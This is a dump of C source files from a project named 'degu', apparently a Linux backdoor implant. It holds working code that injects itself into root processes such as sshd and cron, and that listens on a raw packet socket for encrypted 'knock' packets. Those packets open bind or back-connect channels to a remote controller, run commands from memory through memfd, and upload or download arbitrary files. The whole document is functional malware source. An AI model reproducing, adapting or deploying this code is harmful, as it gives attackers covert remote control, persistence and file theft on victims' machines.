| #include "injector.h" 23 | 24 | #define INVALID_PID -1 25 | 26 | int inject(int pid,char *dso) { 27 | injector_t *injector; 28 | 29 | if (injector_attach(&injector, pid) != 0) { 30 | fprintf(stderr, "%i 3<\n",pid); 31 | return -101; 32 | } 33 | if (!injector_inject(injector, dso, NULL) == 0) { 34 | fprintf(stderr, "%s :(\n",dso); 35 | return -102; 36 | } 37 | return 0; 38 | } 39 | 40 | -------------------------------------------------------------------------------- /degu/key.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "degu.h" 19 | #include "aes.h" 20 | #include "ge.h" 21 | #include "sc.h" 22 | #include "ed25519.h" 23 | 24 | unsigned char knock_key[32] = KNOCK_KEY; 25 | unsigned char public_key[32] = MASTER_PUBKEY; 26 | unsigned char bot_public_key[32]; 27 | unsigned char bot_private_key[64]; 28 | 29 | void xdata(uint8_t *key, unsigned char* data, ssize_t len){ 30 | uint8_t iv[16] = IV; 31 | struct AES_ctx ctx; 32 | AES_init_ctx_iv(&ctx, key, iv); 33 | AES_CTR_xcrypt_buffer(&ctx, data, len); 34 | } 35 | 36 | int xbuf(unsigned char *destkey,unsigned char *privkey, unsigned char *data, size_t len){ 37 | unsigned char seed[32], secret[32]={0}; 38 | ed25519_create_seed(seed); 39 | ed25519_key_exchange(secret, destkey, privkey); 40 | xdata(secret,data,len); 41 | return 0; 42 | } 43 | 44 | void xsig(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key){ 45 | ed25519_sign(signature, message,message_len, public_key, private_key); 46 | } 47 | 48 | unsigned int xvrfy(const unsigned char* signature, const unsigned char* message, size_t message_len){ 49 | return ed25519_verify( signature, message, message_len, public_key ); 50 | } 51 | 52 | void xnock(unsigned char* data, ssize_t len){ 53 | struct AES_ctx knockctx; 54 | uint8_t iv[16] = IV; 55 | AES_init_ctx_iv(&knockctx, knock_key, iv); 56 | AES_CTR_xcrypt_buffer(&knockctx, data, len); 57 | } 58 | 59 | void setup_keys(void){ 60 | unsigned char seed[32]; 61 | TRACE("generating seed"); 62 | ed25519_create_seed(seed); 63 | ed25519_create_keypair(bot_public_key, bot_private_key, seed); 64 | } 65 | 66 | void xpub(unsigned char *destkey,unsigned char *privkey){ 67 | 68 | int i=0; 69 | uint8_t iv[16] = IV; 70 | uint8_t knock[32] = KNOCK_KEY; 71 | uint8_t master[32] = MASTER_PUBKEY; 72 | printf("#define IV\t\t{"); 73 | for(i=0;i<15;i++) 74 | printf("0x%02x,",iv[i]); 75 | printf("0x%02x}\n",iv[15]); 76 | 77 | printf("#define KNOCK_KEY\t{"); 78 | for(i=0;i<31;i++) 79 | printf("0x%02x,",knock[i]); 80 | printf("0x%02x}\n",knock[31]); 81 | 82 | printf("#define MASTER_PUBKEY\t{"); 83 | for(i=0;i<31;i++) 84 | printf("0x%02x,",master[i]); 85 | printf("0x%02x}\n",master[31]); 86 | } 87 | 88 | void keygen(char* path){ 89 | 90 | unsigned char eph_knock[32], eph_public_key[32], eph_private_key[64], eph_seed[32]; 91 | unsigned char test_public_key[32], test_private_key[64]; 92 | int i = 0; 93 | 94 | ed25519_create_seed(eph_seed); 95 | ed25519_create_seed(eph_knock); 96 | ed25519_create_keypair(eph_public_key, eph_private_key, eph_seed); 97 | ed25519_create_keypair(test_public_key, test_private_key, eph_knock); 98 | 99 | FILE *out = fopen(path,"w"); 100 | 101 | if(out == NULL) 102 | return; 103 | 104 | fprintf(out,"pub=\""); 105 | for(i=0;i<32;i++) 106 | fprintf(out,"%02x",eph_public_key[i]); 107 | fprintf(out,"\"\n"); 108 | fprintf(out,"priv=\""); 109 | for(i=0;i<64;i++) 110 | fprintf(out,"%02x",eph_private_key[i]); 111 | fprintf(out,"\"\n"); 112 | fprintf(out,"iv=\""); 113 | for(int i=0;i<16;i++) 114 | fprintf(out,"%02x",eph_seed[i]); 115 | fprintf(out,"\"\n"); 116 | fprintf(out,"knock=\""); 117 | for(int i=0;i<32;i++) 118 | fprintf(out,"%02x",eph_knock[i]); 119 | fprintf(out,"\"\n"); 120 | 121 | fclose(out); 122 | } 123 | -------------------------------------------------------------------------------- /degu/knock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | 19 | #include "degu.h" 20 | 21 | void create_daemon(){ 22 | 23 | int status; 24 | pid_t pid = fork(); 25 | 26 | if (pid < 0) 27 | exit(EXIT_FAILURE); 28 | 29 | if (pid > 0) 30 | exit(EXIT_SUCCESS); 31 | 32 | signal(SIGCHLD, SIG_IGN); 33 | signal(SIGHUP, SIG_IGN); 34 | waitpid(pid, &status, WNOHANG); 35 | 36 | umask(0); 37 | chdir("/"); 38 | } 39 | 40 | /** 41 | after knock bot send his ephemeral key generated at startup 42 | > bot_pubkey 32bytes 43 | degu calculate ed25519 shared secret and cipher it 44 | < 45 | * **/ 46 | 47 | void knock_handle(int sock){ 48 | 49 | unsigned char pub[32]; 50 | 51 | memcpy(&pub, bot_public_key, 32); 52 | xnock( pub, 32); 53 | 54 | TRACE("sending bot public key."); 55 | 56 | send(sock, pub, 32, 0); 57 | 58 | unsigned char header[32] = {0}; 59 | unsigned char secret[32] = {0}; 60 | struct timeval tv; 61 | tv.tv_sec = TIMEOUT; 62 | tv.tv_usec = 0; 63 | 64 | setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv); 65 | int i = recv(sock, &header, 32, MSG_PEEK); 66 | 67 | if (i > 0){ 68 | 69 | ed25519_key_exchange(secret, public_key, bot_private_key); 70 | 71 | xdata(secret, header, 32); 72 | 73 | if ((memcmp(header,DEGU_EXE_UL,4) == 0) || 74 | (memcmp(header,DEGU_EXE_MEMFD,4) == 0 ) ){ 75 | knock_handle_exe(sock, header, secret); 76 | }else if (memcmp(header,DEGU_UP,4) == 0 ){ 77 | knock_handle_up(sock, header, secret); 78 | }else if (memcmp(header,DEGU_DL,4) == 0 ){ 79 | knock_handle_dl(sock, header, secret); 80 | }else{ 81 | TRACE("bad degu magic WRONG KEY !!!"); 82 | goto fail; 83 | } 84 | }else{ 85 | TRACE("timeout"); 86 | } 87 | fail: 88 | shutdown(sock,SHUT_RDWR); 89 | close(sock); 90 | exit(EXIT_FAILURE); 91 | } 92 | 93 | void knock_bind(unsigned int port){ 94 | 95 | int pid = fork(); 96 | 97 | if (pid < 0) 98 | return ; 99 | if (pid > 0){ 100 | wait( NULL ); 101 | return; 102 | } 103 | create_daemon(); 104 | 105 | struct sockaddr_in serv_addr; 106 | serv_addr.sin_family = AF_INET; 107 | serv_addr.sin_addr.s_addr = INADDR_ANY; 108 | serv_addr.sin_port = htons(port); 109 | 110 | int sock,client,opt; 111 | 112 | if ( (sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){ 113 | TRACE("error creating socket"); 114 | exit(EXIT_FAILURE); 115 | } 116 | 117 | if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR ,&opt, sizeof(opt))) { 118 | TRACE("setsockopt reuseaddr"); 119 | exit(EXIT_FAILURE); 120 | } 121 | 122 | if (bind(sock, (struct sockaddr *)&serv_addr,sizeof(serv_addr))<0) { 123 | TRACE("bind failed"); 124 | exit(EXIT_FAILURE); 125 | } 126 | if (listen(sock, 3) < 0) { 127 | TRACE("listen failed"); 128 | exit(EXIT_FAILURE); 129 | } 130 | 131 | int addrlen = sizeof(serv_addr); 132 | int tm = 0; 133 | 134 | fcntl(sock, F_SETFL, O_NONBLOCK); 135 | 136 | while ( tm < TIMEOUT ){ 137 | if ((client = accept(sock, (struct sockaddr *)&serv_addr, (socklen_t*)&addrlen))<0) { 138 | sleep(1); 139 | tm+=1; 140 | } else { 141 | TRACE("accept client %i",client); 142 | close(sock); 143 | knock_handle(client); 144 | break; 145 | } 146 | } 147 | close(sock); 148 | exit(EXIT_SUCCESS); 149 | } 150 | 151 | 152 | void knock_cb(unsigned char *dst,unsigned int port){ 153 | 154 | int pid = fork(); 155 | 156 | if (pid < 0) 157 | return; 158 | if (pid > 0){ 159 | wait( NULL ); 160 | return; 161 | } 162 | 163 | create_daemon(); 164 | 165 | struct sockaddr_in serv_addr; 166 | serv_addr.sin_family = AF_INET; 167 | serv_addr.sin_port = htons(port); 168 | memcpy( &serv_addr.sin_addr.s_addr, dst, 4); 169 | 170 | int sock; 171 | 172 | if ( (sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){ 173 | TRACE("error creating socket"); 174 | exit(EXIT_FAILURE); 175 | } 176 | 177 | if( connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { 178 | TRACE("error connecting cb"); 179 | exit(EXIT_FAILURE); 180 | } 181 | knock_handle(sock); 182 | close(sock); 183 | exit(EXIT_SUCCESS); 184 | } 185 | 186 | /** 187 | * 188 | proto 189 | random char[2]|header[2] char => 190 | if header == 0xb00b // bind connect 191 | |port uint16_t 192 | if header == 0xc411 // back connect 193 | |ip[4] char|port unint16_t 194 | if header == 0xc057 // ghost exe 195 | |len[2]|cmd[len]|sig[64] 196 | |garbage char[970+] (< 1300) 197 | **/ 198 | 199 | int knock(unsigned char *data,size_t len){ 200 | data = data + STRIPUDP; 201 | 202 | xnock( data , len); 203 | 204 | unsigned int off = 32; 205 | 206 | if(data[0 + off] == 0xb0 && data[1 + off] == 0x0b ){ 207 | int port = data[2 + off] | data[3 + off] << 8; 208 | TRACE("decryped bind port %i", port ); 209 | knock_bind(port); 210 | return 1; 211 | 212 | }else if(data[0 + off] == 0xc4 && data[1 + off] == 0x11){ 213 | unsigned int port = data[6 + off] | data[7 + off] << 8; 214 | unsigned char *dst = data + 2 + off; 215 | TRACE("decryped back connect %u", port ); 216 | knock_cb( dst , port); 217 | return 1; 218 | 219 | }else if(data[0 + off] == 0xc0 && data[1 + off] == 0x57){ 220 | unsigned char *cmd = data + 4 + off; 221 | size_t len = data[2 + off] | data[3 + off] << 8; 222 | if (len > DEGU_GHOST_MAX_CMD) 223 | return 0; 224 | TRACE("decryped ghost exe len %i", len ); 225 | knock_ghost_exe( cmd , len ); 226 | return 1; 227 | 228 | }else{ 229 | TRACE("unable to decrypt"); 230 | HEXDUMP("unknown", data, 32); 231 | } 232 | return 0; 233 | } 234 | -------------------------------------------------------------------------------- /degu/log.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "degu.h" 13 | 14 | #ifndef PROD 15 | #define DEBUGLOG "/tmp/debug" 16 | 17 | void trace(const char* format, ...) { 18 | va_list param; 19 | struct timeval tv; 20 | struct tm *nowtm; 21 | time_t nowtime; 22 | char tmbuf[64], buf[512]; 23 | FILE *out = fopen(DEBUGLOG,"a+"); 24 | if(out == NULL) 25 | return; 26 | // FILE *out = fopen("/dev/stdout","a+"); 27 | gettimeofday(&tv, NULL); 28 | nowtime = tv.tv_sec; 29 | nowtm = localtime(&nowtime); 30 | strftime(tmbuf, sizeof tmbuf, "%H:%M:%S", nowtm); 31 | snprintf(buf, sizeof buf, "%s.%03ld", tmbuf, tv.tv_usec); 32 | fprintf(out, "(%d) %s: " , getpid(), buf); 33 | chmod(DEBUGLOG,0777); 34 | va_start(param, format); 35 | vfprintf(out, format, param); 36 | fprintf(out, "\n"); 37 | va_end(param); 38 | fclose(out); 39 | } 40 | 41 | void hexdump(const char* header, const void* data, size_t size) { 42 | char ascii[17]; 43 | size_t i, j; 44 | ascii[16] = '\0'; 45 | FILE *out = fopen(DEBUGLOG,"a+"); 46 | if(out == NULL) 47 | return; 48 | fprintf(out,"%s : \n",header); 49 | for (i = 0; i < size; ++i) { 50 | fprintf(out,"%02X ", ((unsigned char*)data)[i]); 51 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 52 | ascii[i % 16] = ((unsigned char*)data)[i]; 53 | } else { 54 | ascii[i % 16] = '.'; 55 | } 56 | if ((i+1) % 8 == 0 || i+1 == size) { 57 | fprintf(out," "); 58 | if ((i+1) % 16 == 0) { 59 | fprintf(out,"| %s \n", ascii); 60 | } else if (i+1 == size) { 61 | ascii[(i+1) % 16] = '\0'; 62 | if ((i+1) % 16 <= 8) { 63 | fprintf(out," "); 64 | } 65 | for (j = (i+1) % 16; j < 16; ++j) { 66 | fprintf(out," "); 67 | } 68 | fprintf(out,"| %s \n", ascii); 69 | } 70 | } 71 | } 72 | fprintf(out," ----- \n"); 73 | fclose(out); 74 | } 75 | #endif 76 | 77 | 78 | -------------------------------------------------------------------------------- /degu/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "degu.h" 15 | 16 | static int sock = -1; 17 | static int run = 1; 18 | 19 | #define CANDSIZE 11 20 | char *candidate[CANDSIZE]= { 21 | "udev", 22 | "cron", 23 | "udisksd", 24 | "syslog", 25 | "containerd", 26 | "sshd", 27 | "getty", 28 | "agetty", 29 | "dhcp", 30 | "master", 31 | NULL 32 | }; 33 | 34 | int isnum(char entry[]){ 35 | for (int i = 0; entry[i]!= '\0' && entry[i]!= '\n'; i++){ 36 | unsigned int t = (unsigned int)(entry[i]); 37 | if ( t < 48 || t > 57 ) 38 | return 0; 39 | } 40 | return 1; 41 | } 42 | 43 | int check_deletedlibs(char *pid){ 44 | int ret = 0; 45 | char maps[512] = {0}; 46 | char line[2048] = {0}; 47 | sprintf(maps,"/proc/%s/maps",pid); 48 | FILE *f = fopen(maps,"r"); 49 | if( f == NULL ) 50 | return 1; 51 | while( fgets(line,2048,f) ) { 52 | if(strstr(line,"(deleted)") != NULL ) 53 | ret = 1; 54 | } 55 | fclose(f); 56 | return ret; 57 | } 58 | 59 | int check_seccomp(char* pid){ 60 | char line[1024] = {0}; 61 | int seccomp = 0; 62 | int seccompf = 0; 63 | char status[512] = {0}; 64 | sprintf(status,"/proc/%s/status",pid); 65 | FILE *f = fopen(status,"r"); 66 | if( f == NULL ) return 1; 67 | while( fgets(line,1024,f) ) { 68 | if (strncmp("Seccomp_",line,8) == 0 ){ 69 | char *tok = strtok(line, "\t"); 70 | while(tok != NULL) { 71 | if(isnum(tok) == 1 ) 72 | seccompf = atoi(tok); 73 | tok = strtok(NULL, "\t"); 74 | } 75 | } 76 | 77 | if (strncmp("Seccomp:",line,8) == 0 ){ 78 | char *tok = strtok(line, "\t"); 79 | while(tok != NULL) { 80 | if(isnum(tok) == 1 ) 81 | seccomp = atoi(tok); 82 | tok = strtok(NULL, "\t"); 83 | } 84 | } 85 | } 86 | fclose(f); 87 | if (seccompf > 1 ) 88 | return 1; 89 | if (seccomp > 2 ) 90 | return 1; 91 | return 0; 92 | } 93 | 94 | void findproc(){ 95 | DIR *procfs = NULL; 96 | procfs = opendir("/proc"); 97 | if (procfs == NULL){ 98 | TRACE("no procfs ?!"); 99 | return; 100 | } 101 | 102 | struct dirent *entry = NULL; 103 | while( (entry=readdir(procfs)) ){ 104 | if (isnum(entry->d_name)){ 105 | char *pid = entry->d_name; 106 | 107 | char link[512] = {0}; 108 | sprintf(link,"/proc/%s/exe",pid); 109 | 110 | char buf[4096]={0}; // no max path ftl 111 | int ret = readlink(link,buf,4096); 112 | 113 | if(ret != -1){ 114 | struct stat sb; 115 | char maps[512] = {0}; 116 | sprintf(maps,"/proc/%s",pid); 117 | ret = stat(maps,&sb); 118 | if (ret == 0){ 119 | if (sb.st_uid == 0 && strlen(pid) != 1 ){ 120 | int i=0; 121 | while(candidate[i] != NULL){ 122 | if (strstr( buf, candidate[i] )){ 123 | TRACE("checking exe=%s pid=%s",buf,pid); 124 | if ( (check_seccomp(pid) == 1) || (check_deletedlibs(pid) == 1) ){ 125 | i++; 126 | continue; 127 | } 128 | char dso[4096] = {0}; 129 | readlink("/proc/self/exe",dso,4096); 130 | pid_t target = atoi(pid); 131 | TRACE("injecting into %i",target); 132 | int ret = inject(target,dso); 133 | if (ret == 0) 134 | _exit(0); 135 | } 136 | i++; 137 | } 138 | } 139 | } 140 | } 141 | } 142 | } 143 | closedir(procfs); 144 | printf("┌∩┐\n"); 145 | } 146 | 147 | int ghost_listen(){ 148 | 149 | int s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 150 | 151 | if(s == -1 ){ 152 | TRACE("[-] sock raw: %i %s", sock, strerror(errno)); 153 | return -1; 154 | } 155 | 156 | struct sock_fprog filter; 157 | struct sock_filter BPF_code[] = { 158 | { 0x28, 0, 0, 0x0000000c }, 159 | { 0x15, 0, 12, 0x00000800 }, 160 | { 0x30, 0, 0, 0x00000017 }, 161 | { 0x15, 0, 10, 0x00000011 }, 162 | { 0x28, 0, 0, 0x00000014 }, 163 | { 0x45, 8, 0, 0x00001fff }, 164 | { 0xb1, 0, 0, 0x0000000e }, 165 | { 0x48, 0, 0, 0x0000000e }, 166 | { 0x15, 2, 0, 0x00000035 }, 167 | { 0x48, 0, 0, 0x00000010 }, 168 | { 0x15, 0, 3, 0x00000035 }, 169 | { 0x80, 0, 0, 0x00000000 }, 170 | { 0x35, 0, 1, PKTLEN_TRIGG }, 171 | { 0x6, 0, 0, 0x00040000 }, 172 | { 0x6, 0, 0, 0x00000000 }, 173 | }; 174 | 175 | filter.len = 15; 176 | filter.filter = BPF_code; 177 | 178 | if(setsockopt(s, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) < 0) { 179 | TRACE("[-] bpf failed: %i %s\n", s, strerror(errno)); 180 | run = 0; 181 | return -1; 182 | } 183 | return s; 184 | } 185 | 186 | void sig_alrm(int signum){ 187 | 188 | if(run == 1) 189 | signal(SIGALRM,sig_alrm); 190 | 191 | alarm(WAKE); 192 | if(sock < 0) 193 | sock = ghost_listen(); 194 | 195 | unsigned char p[1500] = {0}; 196 | int i = 0; 197 | while( i != -1 ){ 198 | i = recvfrom(sock, &p, 1500, MSG_DONTWAIT, NULL, NULL ); 199 | if (i > PKTLEN_TRIGG ) 200 | knock(p,i); 201 | } 202 | } 203 | 204 | 205 | DEGU_FUNC_INIT void degu(){ 206 | 207 | if( getenv(PRELOAD) != NULL ){ 208 | int port = 0; 209 | 210 | if (getuid() == 0) 211 | port=53; 212 | 213 | if (getenv(PORT) != NULL) 214 | port = atoi(getenv(PORT)); 215 | 216 | if(port == 0 ) 217 | return; 218 | 219 | pid_t pid = fork(); 220 | if (pid == 0) { 221 | setsid(); 222 | pid_t pid2 = fork(); 223 | if (pid2 == 0) { 224 | setsid(); 225 | parasite(port, 1); 226 | } 227 | } 228 | exit(EXIT_FAILURE); 229 | } 230 | 231 | if ( getenv(LIB_BYPASS) != NULL ) 232 | return; 233 | 234 | if(getuid() == 0){ 235 | setup_keys(); 236 | signal(SIGALRM,sig_alrm); 237 | alarm(WAKE); 238 | } 239 | } 240 | 241 | 242 | /** 243 | * Command usage 244 | 245 | # ./degu.so 246 | uid == 0 && findproc 247 | 248 | # ./degu.so 249 | uid == 0 && pid to inject 250 | 251 | #/$ ./degu.so 252 | uid == 0/1000 && port && bin to infect 253 | 254 | $ ./degu.so 255 | uid == 1000 && port to listen to 256 | 257 | * 258 | * 259 | * 260 | * 261 | */ 262 | 263 | int main(int argc,char *argv[]){ 264 | 265 | char *bypass = getenv(LIB_BYPASS); 266 | 267 | if ((bypass == NULL ) && (getuid() == 0)){ 268 | 269 | if (argc == 1){ 270 | findproc(); 271 | }else if (argc == 2){ 272 | char dso[4096] = {0}; 273 | readlink("/proc/self/exe",dso,4096); 274 | char *pid = argv[1]; 275 | TRACE("trying injecting pid %s ",pid); 276 | pid_t target = atoi(pid); 277 | 278 | if ( check_seccomp(pid) == 1 ){ 279 | printf(":/\n"); 280 | exit(-103); 281 | } 282 | if ( check_deletedlibs(pid) == 1){ 283 | printf(":\\\n"); 284 | exit(-104); 285 | } 286 | TRACE("%s %i",dso,target); 287 | 288 | int fail = inject(target,dso); 289 | exit(fail); 290 | } 291 | } 292 | if (bypass == NULL ){ 293 | if (argc == 3){ 294 | TRACE("trying usereffort "); 295 | int port = atoi(argv[1]); 296 | if (port < 1024) 297 | exit(EXIT_FAILURE); 298 | char *bin = strdup(argv[2]); 299 | usereffort(port,bin); 300 | exit(EXIT_SUCCESS); 301 | }else if(argc == 2 ){ 302 | int port = atoi(argv[1]); 303 | if (port < 1024) 304 | exit(EXIT_FAILURE); 305 | pid_t pid = fork(); 306 | if (pid == 0) { 307 | setsid(); 308 | pid_t pid2 = fork(); 309 | if (pid2 == 0) { 310 | setsid(); 311 | parasite(port, 1); 312 | } 313 | exit(EXIT_SUCCESS); 314 | } 315 | exit(EXIT_SUCCESS); 316 | } else { 317 | exit(EXIT_FAILURE); 318 | } 319 | } 320 | } 321 | -------------------------------------------------------------------------------- /degu/ops.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "degu.h" 19 | 20 | int degu_ulexec(unsigned char *bin, char *argv[],size_t size){ 21 | TRACE("running %s in ulexec",argv[0]); 22 | return reflect_execv(bin, argv,size); 23 | } 24 | 25 | int degu_memfd_create(char *name, int flags){ 26 | 27 | int ret = syscall(319, name, flags); 28 | 29 | if (ret == -1){ 30 | char file[] = "/dev/shm/.XXXXXX"; 31 | ret = mkstemp(file); 32 | fchmod(ret, 0755); 33 | unlink(file); 34 | TRACE("memfd fallback %s fd=%i ", file, ret); 35 | } 36 | 37 | return ret; 38 | } 39 | 40 | int degu_execveat(int dirfd, char *pathname,char *argv[], 41 | char *envp[], int flags){ 42 | 43 | int ret = syscall(322, dirfd, pathname, argv, envp, flags); 44 | 45 | if (ret == -1){ 46 | char cmd[4096] = {0}; 47 | sprintf(cmd,"/proc/%i/fd/%i",getpid(),dirfd); 48 | TRACE("exec fallback %s ",cmd); 49 | ret = execve(cmd, argv, envp); 50 | } 51 | 52 | return ret; 53 | } 54 | 55 | 56 | int degu_send(int socket, unsigned char *ptr, size_t length){ 57 | int total = length; 58 | while (length > 0){ 59 | int i = send(socket, ptr, length, 0); 60 | if ( i < 0 ) return i; 61 | ptr += i; 62 | length -= i; 63 | } 64 | return total; 65 | } 66 | 67 | //|Oo<<|lenpath*4|path 68 | void knock_handle_dl(int sock,unsigned char *header,unsigned char *secret){ 69 | unsigned char *cur = header + 4; 70 | 71 | int i; 72 | ssize_t lpath = cur[0] | (cur[1] << 8) 73 | | (cur[2] << 16) | (cur[3] << 24); 74 | 75 | ssize_t total_len = lpath + 4 + 4; // magic + len + str 76 | 77 | TRACE("in dl path total_len = %i len path = %i", total_len, lpath); 78 | 79 | if (total_len < 32) 80 | total_len = 32; 81 | 82 | unsigned char *payload = malloc( total_len * sizeof *payload ); 83 | 84 | if(payload == NULL){ 85 | return; 86 | } 87 | 88 | int r=0; 89 | while ( r < total_len ){ 90 | i = recv(sock, payload + r, 32, 0); 91 | if( i <= 0) break; 92 | r+=i; 93 | } 94 | 95 | xdata(secret, payload, total_len); 96 | 97 | char *path = malloc(lpath + 1); 98 | if (!path) { 99 | free(payload); 100 | return; 101 | } 102 | memset(path, 0, lpath + 1); 103 | memcpy(path, payload + 8, lpath); 104 | 105 | TRACE("dl %s", path); 106 | int file = open(path, O_RDONLY); 107 | 108 | if( file < 0 ){ 109 | free(path); 110 | free(payload); 111 | return; // send 404 ? 112 | } 113 | 114 | struct stat file_stat; 115 | int res = stat(path, &file_stat); 116 | 117 | TRACE("file_stat.st_size = %i res = %i ",file_stat.st_size, res); 118 | 119 | unsigned char flen[4]; 120 | flen[0] = (file_stat.st_size >> 24) & 0xFF; 121 | flen[1] = (file_stat.st_size >> 16) & 0xFF; 122 | flen[2] = (file_stat.st_size >> 8) & 0xFF; 123 | flen[3] = file_stat.st_size & 0xFF; 124 | 125 | unsigned int delta = 32 - ((file_stat.st_size + 4 ) % 32); 126 | 127 | unsigned char *response = malloc( file_stat.st_size + 4 + delta ); 128 | if (!response) { 129 | close(file); 130 | free(path); 131 | free(payload); 132 | return; 133 | } 134 | memcpy(response, flen, 4); 135 | res = read(file, response + 4, file_stat.st_size); 136 | memset(response + 4 + file_stat.st_size , 0, delta); 137 | ssize_t reslen = file_stat.st_size + 4 + delta; 138 | TRACE("total len = %i ",reslen); 139 | 140 | xdata(secret, response, reslen); 141 | 142 | degu_send(sock, response, reslen); 143 | 144 | close(file); 145 | free(payload); 146 | free(path); 147 | free(response); 148 | 149 | } 150 | 151 | //|Oo>>|lendata*4|lenpath*4|path|data 152 | void knock_handle_up(int sock,unsigned char *header,unsigned char *secret){ 153 | 154 | unsigned char *cur = header + 4; 155 | 156 | ssize_t ldata = cur[0] | (cur[1] << 8) 157 | | (cur[2] << 16) | (cur[3] << 24); 158 | 159 | cur += 4; 160 | 161 | ssize_t lpath = cur[0] | (cur[1] << 8) 162 | | (cur[2] << 16) | (cur[3] << 24); 163 | 164 | cur += 4; 165 | // header + lendata + lenpath == 12 166 | ssize_t total_len = ldata + lpath + 12; 167 | 168 | if ( total_len < 32 ) 169 | total_len = 32; 170 | 171 | TRACE("total len %i ldata %i lpath %i", total_len, ldata, lpath ); 172 | 173 | 174 | unsigned char *payload = malloc( total_len + total_len % 1024 + 1 ); 175 | 176 | if( payload == NULL ){ 177 | TRACE("error malloc %i", total_len + 1 ); 178 | return; 179 | } 180 | 181 | unsigned int r=0; 182 | int i; 183 | 184 | while ( r < total_len ){ 185 | i = recv(sock, payload + r, 1024, 0); 186 | if( i <= 0) break; 187 | r+=i; 188 | } 189 | 190 | xdata( secret, payload, total_len ); 191 | 192 | char *path = malloc( lpath + 1 ); 193 | if (!path) { 194 | free(payload); 195 | return; 196 | } 197 | memset( path, 0, lpath + 1 ); 198 | 199 | memcpy( path, payload + 12, lpath ); 200 | 201 | TRACE("up file = %s len data %i", path, ldata ); 202 | 203 | int fd = open(path, O_CREAT|O_WRONLY, 0755); 204 | if ( fd < 0 ){ 205 | free( payload ); 206 | free( path ); 207 | return; 208 | } 209 | write( fd, payload + 12 + lpath, ldata); 210 | close( fd ); 211 | 212 | free( payload ); 213 | free( path ); 214 | } 215 | 216 | //| 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "degu.h" 15 | #include "injector.h" 16 | 17 | 18 | static int isexecok(const char *filename) { 19 | if (access(filename, F_OK|X_OK) != -1) { 20 | return 1; 21 | } else { 22 | return 0; 23 | } 24 | } 25 | 26 | void usereffort(int port,char *bin){ 27 | if (isexecok(bin) == 1){ 28 | TRACE("user effort %i %s",port,bin); 29 | char dso[2048] = {0}; 30 | readlink("/proc/self/exe",dso,2048); 31 | 32 | char preload[4096] = {0}; 33 | char eport[512] = {0}; 34 | sprintf(preload,"%s=%s",PRELOAD,dso); 35 | sprintf(eport,"%s=%i",PORT,port); 36 | char **env = (char **)malloc(3 * sizeof(char *)); 37 | if(!env ){ 38 | printf("unable to malloc environ \n"); 39 | exit(-105); 40 | } 41 | env[0] = preload; 42 | env[1] = eport; 43 | env[2] = NULL; 44 | execle(bin,bin,NULL,env); 45 | } else { 46 | printf("? %s\n",bin); 47 | exit(-105); 48 | } 49 | } 50 | 51 | static int get_mm_map(const char *filename, struct prctl_mm_map *m) { 52 | 53 | const char fmt[] = 54 | "%*d " // (1) pid 55 | "%*s " // (2) comm 56 | "%*c " // (3) state 57 | "%*d " // (4) ppid 58 | "%*d " // (5) pgrp 59 | "%*d " // (6) session 60 | "%*d " // (7) tty_nr 61 | "%*d " // (8) tpgid 62 | "%*u " // (9) flags 63 | "%*u " // "%lu" // (10) minflt 64 | "%*u " // "%lu" // (11) cminflt 65 | "%*u " // "%lu" // (12) majflt 66 | "%*u " // "%lu" // (13) cmajflt 67 | "%*u " // "%lu" // (14) utime 68 | "%*u " // "%lu" // (15) stime 69 | "%*d " // "%ld" // (16) cutime 70 | "%*d " // "%ld" // (17) cstime 71 | "%*d " // "%ld" // (18) priority 72 | "%*d " // "%ld" // (19) nice 73 | "%*d " // "%ld" // (20) num_threads 74 | "%*d " // "%ld" // (21) itrealvalue 75 | "%*u " // "%llu" // (22) starttime 76 | "%*u " // "%lu" // (23) vsize 77 | "%*d " // "%ld" // (24) rss 78 | "%*u " // "%lu" // (25) rsslim 79 | /* 0 */ "%lu " // (26) start_code [PT] 80 | /* 1 */ "%lu " // (27) end_code [PT] 81 | /* 2 */ "%lu " // (28) start_stack [PT] 82 | "%*u " // "%lu" // (29) kstkesp [PT] 83 | "%*u " // "%lu" // (30) kstkeip [PT] 84 | "%*u " // "%lu" // (31) signal 85 | "%*u " // "%lu" // (32) blocked 86 | "%*u " // "%lu" // (33) sigignore 87 | "%*u " // "%lu" // (34) sigcatch 88 | "%*u " // "%lu" // (35) wchan [PT] 89 | "%*u " // "%lu" // (36) nswap 90 | "%*u " // "%lu" // (37) cnswap 91 | "%*d " // (38) exit_signal (since Linux 2.1.22) 92 | "%*d " // (39) processor (since Linux 2.2.8) 93 | "%*u " // (40) rt_priority (since Linux 2.5.19) 94 | "%*u " // (41) policy (since Linux 2.5.19) 95 | "%*u " // "%llu" // (42) delayacct_blkio_ticks (since Linux 2.6.18) 96 | "%*u " // "%lu" // (43) guest_time (since Linux 2.6.24) 97 | "%*d " // "%ld" // (44) cguest_time (since 